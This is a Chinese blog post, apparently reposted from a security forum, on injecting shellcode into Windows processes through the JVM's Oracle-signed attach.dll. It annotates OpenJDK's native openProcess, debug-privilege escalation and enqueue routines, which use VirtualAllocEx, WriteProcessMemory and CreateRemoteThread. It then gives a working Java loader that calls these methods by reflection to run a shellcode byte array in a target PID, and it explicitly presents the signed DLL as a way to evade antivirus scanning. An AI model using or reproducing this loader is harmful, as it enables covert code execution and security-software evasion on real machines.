百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

Jave之JVM加载Shellcode

toyiye 2024-06-28 09:49 19 浏览 0 评论

0x01 前言

偶尔听到使用JVM加载Shellcode,本来以为Java加载Shellcode只有一种方法,看了一些文章发现原来有JNI,JNA,JVM几种方法,以前看到的基本都是基于JNA的

JNI加载需要落地一个dll文件

JNA为了加载dll会生成jni.dll,该文件没有签名

JVM是也需要JNI,不过所需的dll由Java提供,有Oracle的签名,可以一定程度上避开杀软扫描

0x02 看看代码

上面说的dll在JAVA_HOME\jre\bin\下

名称为attach.dll

调用attach.dll的方法都在WindowsVirtualMachine类中

该类的字节码在tools.jar包中sun.tools.attach下

这次只需要用到openProcess和enqueue方法

然后看一下在Navite层中这些方法是怎么实现的

openProcess

看方法名知道是获取进程句柄

JNIEXPORT jlong JNICALL Java_sun_tools_attach_WindowsVirtualMachine_openProcess
  (JNIEnv *env, jclass cls, jint pid)
{
    HANDLE hProcess = NULL;

    if (pid == (jint) GetCurrentProcessId()) {
        //判断输入的pid是否和当前进程的相同
        hProcess = GetCurrentProcess();
        //相同则直接得到当前进程的句柄
        if (DuplicateHandle(hProcess, hProcess, hProcess, &hProcess,
                PROCESS_ALL_ACCESS, FALSE, 0) == 0) {
            //尝试复制句柄,如果返回为0说明复制错误,句柄可能存在权限问题
            //没有什么特殊含义就是一个试错
            hProcess = NULL;
            //走到这里说明复制失败了,把句柄该为NULL
        }
    }

    if (hProcess == NULL) {
        /*
            走到这里
            1.句柄复制出现错误了
            2.输入的不是当前进程的pid
        */
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
        //尝试OpenProcess取得句柄
        if (hProcess == NULL && GetLastError() == ERROR_ACCESS_DENIED) {
            //如果得到句柄为NULL,且错误原因为权限不够,尝试提升句柄权限
            hProcess = doPrivilegedOpenProcess(PROCESS_ALL_ACCESS, FALSE,
                           (DWORD)pid);
            //该函数的实现在下面,这里简单说就是尝试提权后再次获得句柄
        }

        if (hProcess == NULL) {
            //如果句柄还是为NULL......
            if (GetLastError() == ERROR_INVALID_PARAMETER) {
                //报错为ERROR_INVALID_PARAMETER则报错找不到进程
                JNU_ThrowIOException(env, "no such process");
            } else {
                //反之输出报错进程的pid和错误码
                char err_mesg[255];
                /* include the last error in the default detail message */
                sprintf(err_mesg, "OpenProcess(pid=%d) failed; LastError=0x%x",
                    (int)pid, (int)GetLastError());
                JNU_ThrowIOExceptionWithLastError(env, err_mesg);
            }
            return (jlong)0;
        }
    }

    if (_IsWow64Process != NULL) {
        //如果存在IsWow64Process函数则进行下面的步骤
        //如果当前进程和想openProcess的进程不是相同的位数,报错
        //就是说只要知道java的位数,然后使用对应位数的shellcode去尝试注入进程就不太会出现因为shellcode导致进程崩溃的情况,如下图,对和java不同位数的进程有保护作用
        BOOL isCurrent32bit, isTarget32bit;
        (*_IsWow64Process)(GetCurrentProcess(), &isCurrent32bit);
        (*_IsWow64Process)(hProcess, &isTarget32bit);

        if (isCurrent32bit != isTarget32bit) {
            CloseHandle(hProcess);
            #ifdef _WIN64
              JNU_ThrowByName(env, "com/sun/tools/attach/AttachNotSupportedException",
                  "Unable to attach to 32-bit process running under WOW64");
            #else
              JNU_ThrowByName(env, "com/sun/tools/attach/AttachNotSupportedException",
                  "Unable to attach to 64-bit process");
            #endif
        }
    }

    return (jlong)hProcess;
}

最后返回句柄

doPrivilegedOpenProcess

该函数是在上面函数普通获取句柄失败后执行的函数

因为以前写过了修改令牌的文章了就不一句句扣了

简单的说就是尝试开启当前进程的debug权限,有了该权限就可以得到SYSTEM权限的进程句柄了

尝试开启后如开启成功再去调用openProcess获得句柄

如果开启失败则提示权限不够

static HANDLE
doPrivilegedOpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId) {
    HANDLE hToken;
    HANDLE hProcess = NULL;
    LUID luid;
    TOKEN_PRIVILEGES tp, tpPrevious;
    DWORD retLength, error;

    /*
     * Get the access token
     */
    if (!OpenThreadToken(GetCurrentThread(),
                         TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                         FALSE,
                         &hToken)) {
        if (GetLastError() != ERROR_NO_TOKEN) {
            return (HANDLE)NULL;
        }

        /*
         * No access token for the thread so impersonate the security context
         * of the process.
         */
        if (!ImpersonateSelf(SecurityImpersonation)) {
            return (HANDLE)NULL;
        }
        if (!OpenThreadToken(GetCurrentThread(),
                             TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
                             FALSE,
                             &hToken)) {
            return (HANDLE)NULL;
        }
    }

    /*
     * Get LUID for the privilege
     */
    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {
        error = GetLastError();
        CloseHandle(hToken);
        SetLastError(error);
        return (HANDLE)NULL;
    }

    /*
     * Enable the privilege
     */
    ZeroMemory(&tp, sizeof(tp));
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;

    error = 0;
    if (AdjustTokenPrivileges(hToken,
                              FALSE,
                              &tp,
                              sizeof(TOKEN_PRIVILEGES),
                              &tpPrevious,
                              &retLength)) {
        /*
         * If we enabled the privilege then attempt to open the
         * process.
         */
        if (GetLastError() == ERROR_SUCCESS) {
            hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId);
            if (hProcess == NULL) {
                error = GetLastError();
            }
        } else {
            error = ERROR_ACCESS_DENIED;
        }

        /*
         * Revert to the previous privileges
         */
        AdjustTokenPrivileges(hToken,
                              FALSE,
                              &tpPrevious,
                              retLength,
                              NULL,
                              NULL);
    } else {
        error = GetLastError();
    }

    /*
     * Close token and restore error
     */
    CloseHandle(hToken);
    SetLastError(error);

    return hProcess;
}/

enqueue

最重要的执行shellcode的函数

typedef struct {
   GetModuleHandleFunc _GetModuleHandle;
   GetProcAddressFunc _GetProcAddress;
   char jvmLib[MAX_LIBNAME_LENGTH];         /* "jvm.dll" */
   char func1[MAX_FUNC_LENGTH];
   char func2[MAX_FUNC_LENGTH];
   char cmd[MAX_CMD_LENGTH];                /* "load", "dump", ...      */
   char arg[MAX_ARGS][MAX_ARG_LENGTH];      /* arguments to command     */
   char pipename[MAX_PIPE_NAME_LENGTH];
} DataBlock;

JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    DataBlock data;
    DataBlock* pData;
    DWORD* pCode;
    DWORD stubLen;
    HANDLE hProcess, hThread;
    jint argsLen, i;
    jbyte* stubCode;
    jboolean isCopy;

    data._GetModuleHandle = _GetModuleHandle;
    data._GetProcAddress = _GetProcAddress;

    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");

    //给DataBlock的成员赋值,后面结构体会复制到目标进程内
    jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
    //将Java字符串改为C的字符串,后面Java代码中cmd的值是NULL先不用管
    argsLen = (*env)->GetArrayLength(env, args);
    //得到参数的个数,参数在Java代码中也是0,这里也可以不用看
    if (argsLen > 0) {
        if (argsLen > MAX_ARGS) {
            JNU_ThrowInternalError(env, "Too many arguments");
        }
        for (i=0; i<argsLen; i++) {
            jobject obj = (*env)->GetObjectArrayElement(env, args, i);
            if (obj == NULL) {
                data.arg[i][0] = '\0';
            } else {
                jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
            }
            if ((*env)->ExceptionOccurred(env)) return;
        }
    }
    for (i=argsLen; i<MAX_ARGS; i++) {
        data.arg[i][0] = '\0';
    }
    //上面就是将参数存到DataBlock,参数不能超过3

    jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);
    //同cmd这里管道也是NULL所以不管

    hProcess = (HANDLE)handle;

    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );

    //到这里就是经典的线程注入了,这段先把DataBlock结构复制到目标函数

    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    //得到shellcode的长度
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);
    //好像是获取数组内容,网上没找到native代码是怎么实现的
    //应该是把shellcode内容复制env块中,然后返回指向该区域的指针
    //该函数要配合ReleaseByteArrayElements使用,类似malloc和free
    //isCopy应该是返回是否复制成功
    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    //在目标进程内开内存
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        //开内存失败调用VirtualFreeEx释放目标进程中写入的DataBlock的内存
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    //把shellcode写入目标进程的内存
    if (isCopy) {
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
    }
    //对应上面的GetByteArrayElements,已经写入了就可以在env中释放掉了

    //执行远程线程
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    if (hThread != NULL) {
        if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
            JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
        } else {
            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);
            if (exitCode) {
                switch (exitCode) {
                    case ERR_OPEN_JVM_FAIL :
                        JNU_ThrowIOException(env,
                            "jvm.dll not loaded by target process");
                        break;
                    case ERR_GET_ENQUEUE_FUNC_FAIL :
                        JNU_ThrowIOException(env,
                            "Unable to enqueue operation: the target VM does not support attach mechanism");
                        break;
                    default :
                        JNU_ThrowInternalError(env,
                            "Remote thread failed for unknown reason");
                }
            }
        }
        CloseHandle(hThread);
    } else {
        if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {

            JNU_ThrowIOException(env,
                "Insufficient memory or insufficient privileges to attach");
        } else {
            JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
        }
    }
    //上面这块使用寻找报错原因的,如果返回线程的句柄不为空则调用GetExitCodeThread得到线程的状态
    //如果为GetExitCodeThread返回STILL_ACTIVE代表线程正在运行
    //如果返回别的则根据定义在代码中返回异常
    VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
    //释放存DataBlock和shellcode的内存
}

0x03代码实现

import java.lang.reflect.Method;

public class shellcodeLoader {

    public static void main(String[] args) throws Exception {
        byte[] shellcode = new byte[] {(byte) 0xfc,(byte) 0x48......(byte) 0x00,(byte) 0x12,(byte) 0x34,(byte) 0x56,(byte) 0x78};
        //存放shellcode数组
        Class CST_AV = Class.forName("sun.tools.attach.WindowsVirtualMachine");
        //通过反射的方式取得类
        Method openProcess = CST_AV.getDeclaredMethod("openProcess", int.class);
        //这里需要用getDeclaredMethod方法
        //getDeclaredMethod可以取得类自身的所有方法,只用getMethod是拿不到native方法的
        openProcess.setAccessible(true);
        //关闭安全检查,这样可以调用native实现的方法
        long hProcess = (long)openProcess.invoke(null, 20248);
        //指定要注入进程的pid
        Method enqueue = CST_AV.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class);
        //同样的找到enqueue方法
        enqueue.setAccessible(true);
        //同上
        Object[] params = new Object[]{};
        //这里不需要参数所以定义一个空的数组
        enqueue.invoke(null, hProcess, shellcode , null,null, params);
        //执行shellcode
    }
}

可以在注入在别的进程中防止java崩溃

如果要注入在Java可以执行下面的代码得到Java的位数

Properties sysProperty=System.getProperties();        System.out.println(sysProperty.getProperty("sun.arch.data.model"));

参考文章

http://hg.openjdk.java.net/jdk8/jdk8/jdk/file/53ea4b5cef9b/src/windows/native/sun/tools/attach/WindowsVirtualMachine.c native源码

https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247484630&idx=1&sn=5d911558674ba5a210988df35addb3eb&chksm=fa8b194ecdfc9058194a730f280fbf0eb31deaddf1bbdbb135493d593e876b807e6cc14ecae8&mpshare=1&scene=23&srcid=0416ZxN1HVvqomAlYcyCWOVb&sharer_sharetime=1618562024905&sharer_shareid=1bc23e263140fcf4ac8b70cca428273d#rd

from https://forum.butian.net/share/2021

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码